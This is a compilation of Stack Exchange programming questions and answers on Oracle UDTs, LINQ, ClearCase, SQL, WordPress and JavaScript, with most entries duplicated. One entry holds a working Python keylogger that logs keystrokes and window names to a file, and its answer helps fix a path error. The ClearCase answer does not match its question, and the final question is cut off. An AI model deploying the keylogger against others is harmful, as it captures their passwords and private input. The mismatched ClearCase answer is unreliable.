问:
Mapping Oracle UDT using c# without stored procedure
I am required to map an Oracle Object type in my c# application. There are tons of examples online, both here and other sites/blogs, but all of them include using a stored procedure, which I shouldn't do.

I have been searching for the past two days and the closest I got was an article on docs.oracle.com, but it is without an example.

Can anyone, please, give an example of how this could be achieved?

I am using Oracle.DataAccess class for communication with my database and a simple UDT given below:

```<code>create or replace
TYPE "MYNUMBER_TYPE" AS OBJECT (
  MyNumber NUMBER(13)
)
INSTANTIABLE NOT FINAL;
</code>```

答:
If you want to execute PL/SQL you can do something like the following. This is mighty enough to tear the world domination itself. Almost.

Note, this is not tested, as I do not have a Oracle DB here. However I am using this approach in one of my current projects.

```<code>cmd = New OracleCommand("declare " +
          "    lSomeVarchar2 varchar2(255); " +
          "    lSomeNumber number; " +
          "    lSomeLong long; " +
          "begin " +
          "  loop " +
          "  --do something fancy here  " +
          "  end loop; " +
          "  --you can pass variables from outside: " +
          " :parameterNumber:= lSomeNumber ; " +
          " :parameterVarChar := lSomeLong; " +
          "end;", conn);
          //make these of direction output and you can get values back
cmd.Parameters.Add("parameterNumber", OracleDbType.Integer).Direction = ParameterDirection.Output;
cmd.Parameters.Add("parameterVarChar", OracleDbType.VarChar).Direction = ParameterDirection.Output;
cmd.ExecuteNonQuery();

//now you can get the values using something like
int cNumber = (int)cmd.Parameters("parameterNumber").Value;
String myString = (String) cmd.Parameters("parameterNumber").Value;
</code>```

EDIT 3 aka answer to you comment:

For usage of the IOracleCustomType-Interface:
Again, I couldn't test it as I still don't have access to an Oracle database. However, let's do some magic.

Step 1: Create a custom type in your C# code which inherits from IOracleCustomType:

```<code>[OracleCustomTypeMapping("C##USER.MYNUMBER_TYPE")]
public class MyCustomClass : IOracleCustomType
</code>```

Then for each class member you have to specify the Oracle pendant. In the following the name "MyNumber" comes from the custom type specification in your question.

```<code>[OracleObjectMappingAttribute("MyNumber")]
public virtual int cNumber{get; set;}
</code>```

Furthermore you have to override the methods FromCustomObject and ToCustomObject:

```<code>//this one is used to map the C# class-object to Oracle UDT
public virtual void FromCustomObject(OracleConnection conn, IntPtr object){
    OracleUdt.SetValue(conn, object, "MyNumber", this.cNumber);
}

//and this one is used to convert Oracle UDT to C# class
public virtual void ToCustomObject(OracleConnection conn, IntPtr object){
    this.cNumber = ((int)(OracleUdt.GetValue(conn, object, "MyNumber")));
}
</code>```

Step 2: Create the custom type in Database which you already did. So I will not repeat it here.

Step 3: Now we are set up. Let's try it:

```<code>//first create your SQL-Statement
String statement = "SELECT MY_CUSTOM_TYPE_COLUMN FROM MY_SUPER_TABLE";

//then set up the database connection
OracleConnection conn = new OracleConnection("connect string");
conn.Open();
OracleCommand cmd = new OracleCommand(statement, conn);
cmd.CommandType = CommandType.Text;

//execute the thing
OracleDataReader reader = cmd.ExecuteReader();

//get the results
while(reader.Read()){
    MyCustomClass customObject = new MyCustomClass();
    //get the Object, here the magic happens
    customObject = (MyCustomClass)reader.GetValue(0);

    //do something with your object

}
</code>```

Body:
I am required to map an Oracle Object type in my c# application. There are tons of examples online, both here and other sites/blogs, but all of them include using a stored procedure, which I shouldn't do.

I have been searching for the past two days and the closest I got was an article on docs.oracle.com, but it is without an example.

Can anyone, please, give an example of how this could be achieved?

I am using Oracle.DataAccess class for communication with my database and a simple UDT given below:

create or replace
TYPE "MYNUMBER_TYPE" AS OBJECT (
  MyNumber NUMBER(13)
)
INSTANTIABLE NOT FINAL;

Body:
If you want to execute PL/SQL you can do something like the following. This is mighty enough to tear the world domination itself. Almost.

Note, this is not tested, as I do not have a Oracle DB here. However I am using this approach in one of my current projects.

cmd = New OracleCommand("declare " +
          "    lSomeVarchar2 varchar2(255); " +
          "    lSomeNumber number; " +
          "    lSomeLong long; " +
          "begin " +
          "  loop " +
          "  --do something fancy here  " +
          "  end loop; " +
          "  --you can pass variables from outside: " +
          " :parameterNumber:= lSomeNumber ; " +
          " :parameterVarChar := lSomeLong; " +
          "end;", conn);
          //make these of direction output and you can get values back
cmd.Parameters.Add("parameterNumber", OracleDbType.Integer).Direction = ParameterDirection.Output;
cmd.Parameters.Add("parameterVarChar", OracleDbType.VarChar).Direction = ParameterDirection.Output;
cmd.ExecuteNonQuery();

//now you can get the values using something like
int cNumber = (int)cmd.Parameters("parameterNumber").Value;
String myString = (String) cmd.Parameters("parameterNumber").Value;

EDIT 3 aka answer to you comment:

For usage of the IOracleCustomType-Interface:
Again, I couldn't test it as I still don't have access to an Oracle database. However, let's do some magic.

Step 1: Create a custom type in your C# code which inherits from IOracleCustomType:

[OracleCustomTypeMapping("C##USER.MYNUMBER_TYPE")]
public class MyCustomClass : IOracleCustomType

Then for each class member you have to specify the Oracle pendant. In the following the name "MyNumber" comes from the custom type specification in your question.

[OracleObjectMappingAttribute("MyNumber")]
public virtual int cNumber{get; set;}

Furthermore you have to override the methods FromCustomObject and ToCustomObject:

//this one is used to map the C# class-object to Oracle UDT
public virtual void FromCustomObject(OracleConnection conn, IntPtr object){
    OracleUdt.SetValue(conn, object, "MyNumber", this.cNumber);
}

//and this one is used to convert Oracle UDT to C# class
public virtual void ToCustomObject(OracleConnection conn, IntPtr object){
    this.cNumber = ((int)(OracleUdt.GetValue(conn, object, "MyNumber")));
}

Step 2: Create the custom type in Database which you already did. So I will not repeat it here.

Step 3: Now we are set up. Let's try it:

//first create your SQL-Statement
String statement = "SELECT MY_CUSTOM_TYPE_COLUMN FROM MY_SUPER_TABLE";

//then set up the database connection
OracleConnection conn = new OracleConnection("connect string");
conn.Open();
OracleCommand cmd = new OracleCommand(statement, conn);
cmd.CommandType = CommandType.Text;

//execute the thing
OracleDataReader reader = cmd.ExecuteReader();

//get the results
while(reader.Read()){
    MyCustomClass customObject = new MyCustomClass();
    //get the Object, here the magic happens
    customObject = (MyCustomClass)reader.GetValue(0);

    //do something with your object

}


来源: stackexchange

问:
Filtering List from a List
Bottom line is I would like a linq statement that returns the same list as the code below.

I feel like this is possible and I feel like I got very close before I gave up and just spelled out what I wanted with more lines of code.

Although I would love and appreciate anyone that could demonstrate what I'm looking to achieve for the future and to replace what I have.

```<code>public ObservableCollection<VarItem> IndexChannels
{
    get
    {
        ObservableCollection<VarItem> filtered = new ObservableCollection<VarItem>();

        filtered.Add(indexChannels.First());//add Disabled no matter what

        //add the cur channels selected index if it isn't already disabled
        if (!filtered.Contains(indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel)))
        {
           filtered.Add(indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel));
        }

        foreach (PdioChannelModel ch in channels)
        {
           //if the channels mode isn't q-decode or quad index add its Number as an index
           if (ch.Mode.Value != "Q-Decode" && ch.Mode.Value != "Quad Index")
           {
              filtered.Add(indexChannels.FirstOrDefault(i => i.ID == ch.Number));
           }
        }
        return filtered;
    }
}
</code>```

Basic structure of VarItem

public class VarItem
   {
      public int ID { get; private set; }
      public string Value { get; private set; }
      public Dictionary MetaData { get; private set; }

```<code>  public VarItem(int id, string value)
  {
     this.ID = id;
     this.Value = value;
     MetaData = new Dictionary<string, string>();
  }
</code>```

example master list contains VarItems:

-1, "Disable"

1, "Channel 1"

2, "Channel 2"

3, "Channel 3"

Filtered list should always contain VarItem(-1, Disabled). It should also contain the VarItem where the ID matches CurChannel.IndexChanneland lastly it sould contain any VarItems where the ID matches any PdioChannelModel.Number where PdioChannelModel.Mode.Value != "Q-Decode" or "Quad Index"

If I missed any detail needed let me know. If I confused you and wrote to much or need clarification just let me know as well.

答:
One way is to generate a list of the items you want to add and pass that to the constructor.

We know for sure we want the first item in indexChannels, and the current channel selected index if it's there, so that part is pretty easy - just a new List<VarItem>.

Next you want to add all the index channels who have IDs that match the Numbers of the channels whose Modes are not Q-Decode or Quad Index. So for that I'd use a Union to join this with the first list.

And finally, since FirstOrDefault returns default(VarItem) for default values, we can just remove those at the end, and we can throw a Distinct in there as well to ensure that we don't have duplicates:

```<code>get
{
    return new ObservableCollection<VarItem>((
        new List<VarItem>
        {
            indexChannels.First(),
            indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel)
        })
        .Union(channels
            .Where(ch => ch.Mode.Value != "Q-Decode" &&
                         ch.Mode.Value != "Quad Index")
            .Select(ch => indexChannels.FirstOrDefault(i => i.ID == ch.Number)))
        .Where(varItem => varItem != default(VarItem))
        .Distinct());
}
</code>```

Just for the record, I would never do this in production code. Any failures in that statement will be a huge pain to debug. Generally doing one statement per line is easier for others to read and easier to debug when one line fails.

ContentLicense: CC BY-SA 3.0

Title: Filtering List from a List

Body:
Bottom line is I would like a linq statement that returns the same list as the code below.

I feel like this is possible and I feel like I got very close before I gave up and just spelled out what I wanted with more lines of code.

Although I would love and appreciate anyone that could demonstrate what I'm looking to achieve for the future and to replace what I have.

public ObservableCollection<VarItem> IndexChannels
{
    get
    {
        ObservableCollection<VarItem> filtered = new ObservableCollection<VarItem>();

        filtered.Add(indexChannels.First());//add Disabled no matter what

        //add the cur channels selected index if it isn't already disabled
        if (!filtered.Contains(indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel)))
        {
           filtered.Add(indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel));
        }

        foreach (PdioChannelModel ch in channels)
        {
           //if the channels mode isn't q-decode or quad index add its Number as an index
           if (ch.Mode.Value != "Q-Decode" && ch.Mode.Value != "Quad Index")
           {
              filtered.Add(indexChannels.FirstOrDefault(i => i.ID == ch.Number));
           }
        }
        return filtered;
    }
}

Basic structure of VarItem

public class VarItem
   {
      public int ID { get; private set; }
      public string Value { get; private set; }
      public Dictionary MetaData { get; private set; }

  public VarItem(int id, string value)
  {
     this.ID = id;
     this.Value = value;
     MetaData = new Dictionary<string, string>();
  }

example master list contains VarItems:

-1, "Disable"

1, "Channel 1"

2, "Channel 2"

3, "Channel 3"

Filtered list should always contain VarItem(-1, Disabled). It should also contain the VarItem where the ID matches CurChannel.IndexChanneland lastly it sould contain any VarItems where the ID matches any PdioChannelModel.Number where PdioChannelModel.Mode.Value != "Q-Decode" or "Quad Index"

If I missed any detail needed let me know. If I confused you and wrote to much or need clarification just let me know as well.

Body:
One way is to generate a list of the items you want to add and pass that to the constructor.

We know for sure we want the first item in indexChannels, and the current channel selected index if it's there, so that part is pretty easy - just a new List<VarItem>.

Next you want to add all the index channels who have IDs that match the Numbers of the channels whose Modes are not Q-Decode or Quad Index. So for that I'd use a Union to join this with the first list.

And finally, since FirstOrDefault returns default(VarItem) for default values, we can just remove those at the end, and we can throw a Distinct in there as well to ensure that we don't have duplicates:

get
{
    return new ObservableCollection<VarItem>((
        new List<VarItem>
        {
            indexChannels.First(),
            indexChannels.FirstOrDefault(i => i == CurChannel.IndexChannel)
        })
        .Union(channels
            .Where(ch => ch.Mode.Value != "Q-Decode" &&
                         ch.Mode.Value != "Quad Index")
            .Select(ch => indexChannels.FirstOrDefault(i => i.ID == ch.Number)))
        .Where(varItem => varItem != default(VarItem))
        .Distinct());
}

Just for the record, I would never do this in production code. Any failures in that statement will be a huge pain to debug. Generally doing one statement per line is easier for others to read and easier to debug when one line fails.


问:
How to make check-outs be unreserved by default using ClearCase command line tools
Is there a way to make cleartool checkouts unreserved by default?  Perhaps a ~/.cleartool file or some environment variable?  I understand the default can be set on the VOB (or all VOBs), but that option is beyond my control.

The ClearCase version I'm using is:

```<code>$ ct -version ClearCase version 7.0.1 (Wed May 30 17:04:58 EDT 2007)
7.0.1.0-RATL-RCC-IFIX01 (Wed Sep 19 16:08:10 EDT 2007) @(#) MVFS version
7.0.1.0-IFIX01 (Thu Sep  6 20:09:08 2007) built at $Date: 2009-12-08.14:59:16 (UTC) $ cleartool
7.0.1.0-IFIX01 (Thu Aug  9 20:20:45 EDT 2007) db_server
7.0.1.0-IFIX01 (Fri Sep 14 20:23:09 EDT 2007) VOB database schema version:    54
</code>```

You may ask "why in world would the default ever be set to -reserved?"  A fair question.  However, the matter is beyond my control.

Update: I neglected to mention the environment is Linux.

答: The command I posed above should have another single quote so that it is '$CLEARCASE_PN' TRIGGERNAME</p>

ContentLicense: CC BY-SA 2.5

Body:
Is there a way to make cleartool checkouts unreserved by default?  Perhaps a ~/.cleartool file or some environment variable?  I understand the default can be set on the VOB (or all VOBs), but that option is beyond my control.

The ClearCase version I'm using is:

$ ct -version ClearCase version 7.0.1 (Wed May 30 17:04:58 EDT 2007)
7.0.1.0-RATL-RCC-IFIX01 (Wed Sep 19 16:08:10 EDT 2007) @(#) MVFS version
7.0.1.0-IFIX01 (Thu Sep  6 20:09:08 2007) built at $Date: 2009-12-08.14:59:16 (UTC) $ cleartool
7.0.1.0-IFIX01 (Thu Aug  9 20:20:45 EDT 2007) db_server
7.0.1.0-IFIX01 (Fri Sep 14 20:23:09 EDT 2007) VOB database schema version:    54

You may ask "why in world would the default ever be set to -reserved?"  A fair question.  However, the matter is beyond my control.

Update: I neglected to mention the environment is Linux.


问:
How do I return the smallest value using a for loop?
I am given a limit, and I have to return the smallest value for n to make it true: 1+2+3+4+...+n >= limit. I feel like there's one thing missing, but I can't tell.

```<code>public int whenToReachLimit(int limit) {
 int sum = 0;

 for (int i = 1; sum < limit; i++) {
   sum = sum + i;
  }
 return sum;
}
</code>```

The output would be:

1 : 1

4 : 3

10 : 4

答:
I'm not sure if I know exactly what you want to do. But I would recommend to make a "practice run".

```<code>If Limit = 0 the function returns 0
If Limit = 1 the function returns 1
If Limit = 2 the function return 3
If Limit = 3 the function return 3
If Limit = 4 the function return 6
If Limit = 5 the function return 6
</code>```

Now you decide by your own if the functions does what you're expecting.

Body:
I am given a limit, and I have to return the smallest value for n to make it true: 1+2+3+4+...+n >= limit. I feel like there's one thing missing, but I can't tell.

public int whenToReachLimit(int limit) {
 int sum = 0;

 for (int i = 1; sum < limit; i++) {
   sum = sum + i;
  }
 return sum;
}

The output would be:

1 : 1

4 : 3

10 : 4

Body:
I'm not sure if I know exactly what you want to do. But I would recommend to make a "practice run".

If Limit = 0 the function returns 0
If Limit = 1 the function returns 1
If Limit = 2 the function return 3
If Limit = 3 the function return 3
If Limit = 4 the function return 6
If Limit = 5 the function return 6

Now you decide by your own if the functions does what you're expecting.


问:
Updating and join on multiple rows, which row's value is used?
Let's say I have the following statement and the inner join results in 3 rows where a.Id = b.Id, but each of the 3 rows have different b.Value's.  Since only one row from tableA is being updated, which of the 3 values is used in the update?</p>

```<code>UPDATE a
SET a.Value = b.Value
FROM tableA AS a
INNER JOIN tableB as b
ON a.Id = b.Id
</code>```

答:
Yes, I came up with a similar experiment to Justin Pihony:

```<code>    IF OBJECT_ID('tempdb..#test') IS NOT NULL DROP TABLE #test ;
SELECT
1 AS Name, 0 AS value
INTO #test

IF OBJECT_ID('tempdb..#compare') IS NOT NULL DROP TABLE #compare ;
SELECT 1 AS name, 1 AS value
INTO #compare
INSERT INTO #compare
SELECT 1 AS name, 0 AS value;

SELECT * FROM #test
SELECT * FROM #compare

UPDATE t
SET t.value = c.value
FROM #test t
INNER JOIN #compare c
    ON t.Name = c.name
</code>```

Takes the topmost row in the comparison, right-side table. You can reverse the #compare.value values to 0 and 1 and you'll get the reverse.  I agree with the posters above...its very strange that this operation does not throw an error message as it is completely hidden that this operation IGNORES secondary values

Body:
Let's say I have the following statement and the inner join results in 3 rows where a.Id = b.Id, but each of the 3 rows have different b.Value's.  Since only one row from tableA is being updated, which of the 3 values is used in the update?

UPDATE a
SET a.Value = b.Value
FROM tableA AS a
INNER JOIN tableB as b
ON a.Id = b.Id

Body:
Yes, I came up with a similar experiment to Justin Pihony:

    IF OBJECT_ID('tempdb..#test') IS NOT NULL DROP TABLE #test ;
SELECT
1 AS Name, 0 AS value
INTO #test

IF OBJECT_ID('tempdb..#compare') IS NOT NULL DROP TABLE #compare ;
SELECT 1 AS name, 1 AS value
INTO #compare
INSERT INTO #compare
SELECT 1 AS name, 0 AS value;

SELECT * FROM #test
SELECT * FROM #compare

UPDATE t
SET t.value = c.value
FROM #test t
INNER JOIN #compare c
    ON t.Name = c.name

Takes the topmost row in the comparison, right-side table. You can reverse the #compare.value values to 0 and 1 and you'll get the reverse.  I agree with the posters above...its very strange that this operation does not throw an error message as it is completely hidden that this operation IGNORES secondary values


问:
How rename a plugin title > Wordpress > Dashboard
Please, may someone help me? I need change the name of a plugin installed in my wordpress (Only the name in the admin bar is fine ;) .  Thanks!

Preview:

答:
First, have a look at your current admin menu. I usually do that with a temporary code, which I insert into my theme's function.php

```<code>add_action( 'admin_menu', 'myRenamedPlugin' );

function myRenamedPlugin() {
    global $menu;
    print_r($menu);
}
</code>```

Now, when you are logged in, the complete tree of your admin menu is visible in the source code and will look something like this:

```<code>Array
(
    [2] => Array
        (
            [0] => Dashboard
            [1] => read
            [2] => index.php
            [3] =>
            [4] => menu-top menu-top-first menu-icon-dashboard menu-top-last
            [5] => menu-dashboard
            [6] => div
        )

    [4] => Array
        (
            [0] =>
            [1] => read
            [2] => separator1
            [3] =>
            [4] => wp-menu-separator
        )
...
</code>```

In this array, find the plugin that you want to rename. For example the Plugin "Wordpress Files"

```<code>[101] => Array
    (
        [0] => Wordpress Files
        [1] => read
        [2] => pgl_wp_files
        [3] => WP Files
        [4] => menu-top menu-icon-generic
        [5] => toplevel_page_pgl_wp_files
        [6] => dashicons-admin-generic
    )
</code>```

You see, at position 2 is the plugin's unique name "pgl_wp_files". By using the plugin's unique name, we avoid that other plugins with a similar name are going to be renamed. Hence, this extra step was important.

Now, we use this value in our function as a search needle. Once found, it can replace the plugin's name (position 0) with whatever name we like to have.

To make it short: Replace the above function in your theme's function.php with the following:

```<code>add_action( 'admin_menu', 'myRenamedPlugin' );

function myRenamedPlugin() {

    global $menu;
    $searchPlugin = "pgl_wp_files"; // Use the unique plugin name
    $replaceName = "New Name for Plugin";

    $menuItem = "";
    foreach($menu as $key => $item){
        if ( $item[2] === $searchPlugin ){
            $menuItem = $key;
        }
    }
    $menu[$menuItem][0] = $replaceName; // Position 0 stores the menu title
}
</code>```

Body:
First, have a look at your current admin menu. I usually do that with a temporary code, which I insert into my theme's function.php

add_action( 'admin_menu', 'myRenamedPlugin' );

function myRenamedPlugin() {
    global $menu;
    print_r($menu);
}

Now, when you are logged in, the complete tree of your admin menu is visible in the source code and will look something like this:

Array
(
    [2] => Array
        (
            [0] => Dashboard
            [1] => read
            [2] => index.php
            [3] =>
            [4] => menu-top menu-top-first menu-icon-dashboard menu-top-last
            [5] => menu-dashboard
            [6] => div
        )

    [4] => Array
        (
            [0] =>
            [1] => read
            [2] => separator1
            [3] =>
            [4] => wp-menu-separator
        )
...

In this array, find the plugin that you want to rename. For example the Plugin "Wordpress Files"

[101] => Array
    (
        [0] => Wordpress Files
        [1] => read
        [2] => pgl_wp_files
        [3] => WP Files
        [4] => menu-top menu-icon-generic
        [5] => toplevel_page_pgl_wp_files
        [6] => dashicons-admin-generic
    )

You see, at position 2 is the plugin's unique name "pgl_wp_files". By using the plugin's unique name, we avoid that other plugins with a similar name are going to be renamed. Hence, this extra step was important.

Now, we use this value in our function as a search needle. Once found, it can replace the plugin's name (position 0) with whatever name we like to have.

To make it short: Replace the above function in your theme's function.php with the following:

add_action( 'admin_menu', 'myRenamedPlugin' );

function myRenamedPlugin() {

    global $menu;
    $searchPlugin = "pgl_wp_files"; // Use the unique plugin name
    $replaceName = "New Name for Plugin";

    $menuItem = "";
    foreach($menu as $key => $item){
        if ( $item[2] === $searchPlugin ){
            $menuItem = $key;
        }
    }
    $menu[$menuItem][0] = $replaceName; // Position 0 stores the menu title
}


问:
Keylogger errors
im new to this site, this year we started learning python in school but we do the basic things and i was a bit bored so i was searching for interesting scripts untill i found how to make keylogger. I got some code but its not working. i fixed some of the errors but still

(NOTE1: i wont be using this anywhere else except my old pc so yeah, not trying to be a hacker or w/e)

(NOTE2: sorry for my bad english, im Greek :P)

```<code>import pyHook, pythoncom
from datetime import datetime

todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'

line_buffer = "" #current typed line before return character
window_name = "" #current window

def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file

def OnKeyboardEvent(event):
global line_buffer
global window_name

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value

"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
    if(line_buffer != ""): #if line buffer is not empty
        line_buffer += '\n'
        SaveLineToFile(line_buffer) #print to file: any non printed                   characters from old window

    line_buffer = "" #clear the line buffer
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print       to file: the new window name
    window_name = event.WindowName #set the new window name

"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
    line_buffer += '\n'
    SaveLineToFile(line_buffer) #print to file: the line buffer
    line_buffer = "" #clear the line buffer
    return True #exit event

"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
    line_buffer = line_buffer[:-1] #remove last character
    return True #exit event

"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
        pass #do nothing
    else:
        line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
    line_buffer += chr(event.Ascii) #add pressed character to line buffer

return True #pass event to other handlers

hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events
</code>```

The errors are:

```<code>Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in        KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to    file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'
</code>```

答: As the error message already says, there is no problem with the code itself, but python have to have access to the folder you want to save your documents in. Try using a different folder or giving Python administrator rights when you run this program. For me file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt' worked perfectly fine.

Title: Keylogger errors

Body:
im new to this site, this year we started learning python in school but we do the basic things and i was a bit bored so i was searching for interesting scripts untill i found how to make keylogger. I got some code but its not working. i fixed some of the errors but still

(NOTE1: i wont be using this anywhere else except my old pc so yeah, not trying to be a hacker or w/e)

(NOTE2: sorry for my bad english, im Greek :P)

import pyHook, pythoncom
from datetime import datetime

todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'

line_buffer = "" #current typed line before return character
window_name = "" #current window

def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file

def OnKeyboardEvent(event):
global line_buffer
global window_name

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value

"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
    if(line_buffer != ""): #if line buffer is not empty
        line_buffer += '\n'
        SaveLineToFile(line_buffer) #print to file: any non printed                   characters from old window

    line_buffer = "" #clear the line buffer
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print       to file: the new window name
    window_name = event.WindowName #set the new window name

"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
    line_buffer += '\n'
    SaveLineToFile(line_buffer) #print to file: the line buffer
    line_buffer = "" #clear the line buffer
    return True #exit event

"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
    line_buffer = line_buffer[:-1] #remove last character
    return True #exit event

"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
        pass #do nothing
    else:
        line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
    line_buffer += chr(event.Ascii) #add pressed character to line buffer

return True #pass event to other handlers

hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events

The errors are:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in        KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to    file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'


问:
Javascript setTimeout function call with event argument?
What is the best way to pull in the event object when using setTimeout? I'm using jQuery to handle normalizing the event model in all browsers, but I'm not sure how to get the 'e' object in to the checkPos function.

My current code:

```<code>function MouseDownEvent(e) {
    *snip*
    timeoutID = setTimeout(checkPos(e), 500);
}
function checkPos(e) {
    //function uses e on a timeout of 500ms
    timeoutID = setTimeout( checkPos(e) }, 500);
}
</code>```

Currently that code works once because the function is called in the mousedown event, but never updates the e object as the user moves the mouse. The FF javascript error console also declares that it is 'a useless setTimeout call (missing quotes around argument?)', but following that advice causes it to completely fail.

How can I pull in the 'e' event argument from a setTimeout call?

Edit: Added in the code that reruns the checkPos function every 500ms

答:
As far as I could see, IE won't allow to pass the "event" object around like you need.

The only workaround I can think of is storing whatever value you need in advance as global variable then check that variable in the delayed function.

For example: http://jsfiddle.net/YvYtn/1/

This will show the last X position, you can store whatever you need from the event object.

The JS code:

```<code>var _lastPosX= null;
function MouseDownEvent(evt) {
    if (typeof evt == "undefined" || !evt)
        evt = window.event;
    _lastPosX = (evt.clientX || evt.pageX);
    timeoutID = window.setTimeout("checkPos();", 500);
}
function checkPos() {
    alert(_lastPosX);
}
</code>```

Body:
What is the best way to pull in the event object when using setTimeout? I'm using jQuery to handle normalizing the event model in all browsers, but I'm not sure how to get the 'e' object in to the checkPos function.

My current code:

function MouseDownEvent(e) {
    *snip*
    timeoutID = setTimeout(checkPos(e), 500);
}
function checkPos(e) {
    //function uses e on a timeout of 500ms
    timeoutID = setTimeout( checkPos(e) }, 500);
}

Currently that code works once because the function is called in the mousedown event, but never updates the e object as the user moves the mouse. The FF javascript error console also declares that it is 'a useless setTimeout call (missing quotes around argument?)', but following that advice causes it to completely fail.

How can I pull in the 'e' event argument from a setTimeout call?

Edit: Added in the code that reruns the checkPos function every 500ms

Body:
As far as I could see, IE won't allow to pass the "event" object around like you need.

The only workaround I can think of is storing whatever value you need in advance as global variable then check that variable in the delayed function.

For example: http://jsfiddle.net/YvYtn/1/

This will show the last X position, you can store whatever you need from the event object.

The JS code:

var _lastPosX= null;
function MouseDownEvent(evt) {
    if (typeof evt == "undefined" || !evt)
        evt = window.event;
    _lastPosX = (evt.clientX || evt.pageX);
    timeoutID = window.setTimeout("checkPos();", 500);
}
function checkPos() {
    alert(_lastPosX);
}


问:
Event when space is pressing, only one time
I have some issues: I have this : (in a function..)

var space = 0;

setInterval(space, 20);
var keys = {}

$(document).keydown(function(e) {
    keys[e.keyCode] = true;
});

$(document).keyup(function(e) {
    delete keys[e.keyCode];
});

function space() {
    for (var direction in keys) {
        if (!keys.hasOwnProperty(direction)) continue;
        if (direction == 32) {
                space++;
                console.log(space);
            }```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script></code>```

32 == Space key, but I saw in the console that space is pressed 3 times (space == 3), keyup keypress and keydown (I think), how can I have just "space = 1" when space is pressed ?

答:
I hope that will be helpful:</p>

```<code>var space = 0;
    var keys = {};
    var keys2 = {};

$(document).keydown(function(e) {
    keys[e.keyCode] = true;
});

$(document).keyup(function(e) {
    keys[e.keyCode] = false;
});

setInterval(function(){spacing()}, 20);

function spacing() {

    if (keys[32] && !keys2[32])
        {
            space++;
            keys2[32] = true;
        }
        else if(!keys[32])
        {
            keys2[32] = false;
        }

console.log(space);
 }
</code>```

Body:
I have some issues: I have this : (in a function..)

var space = 0;

setInterval(space, 20);
var keys = {}

$(document).keydown(function(e) {
    keys[e.keyCode] = true;
});

$(document).keyup(function(e) {
    delete keys[e.keyCode];
});

function space() {
    for (var direction in keys) {
        if (!keys.hasOwnProperty(direction)) continue;
        if (direction == 32) {
                space++;
                console.log(space);
            }

32 == Space key, but I saw in the console that space is pressed 3 times (space == 3), keyup keypress and keydown (I think), how can I have just "space = 1" when space is pressed ?

Body:
I hope that will be helpful:

var space = 0;
    var keys = {};
    var keys2 = {};

$(document).keydown(function(e) {
    keys[e.keyCode] = true;
});

$(document).keyup(function(e) {
    keys[e.keyCode] = false;
});

setInterval(function(){spacing()}, 20);

function spacing() {

    if (keys[32] && !keys2[32])
        {
            space++;
            keys2[32] = true;
        }
        else if(!keys[32])
        {
            keys2[32] = false;
        }

console.log(space);
 }


问:
How to keep weired characters in filename
I was creating a website, in which user can upload files on aws-s3, minio and azure-storage, all is working fine,

But when my client upload files with name which contain characters like these,

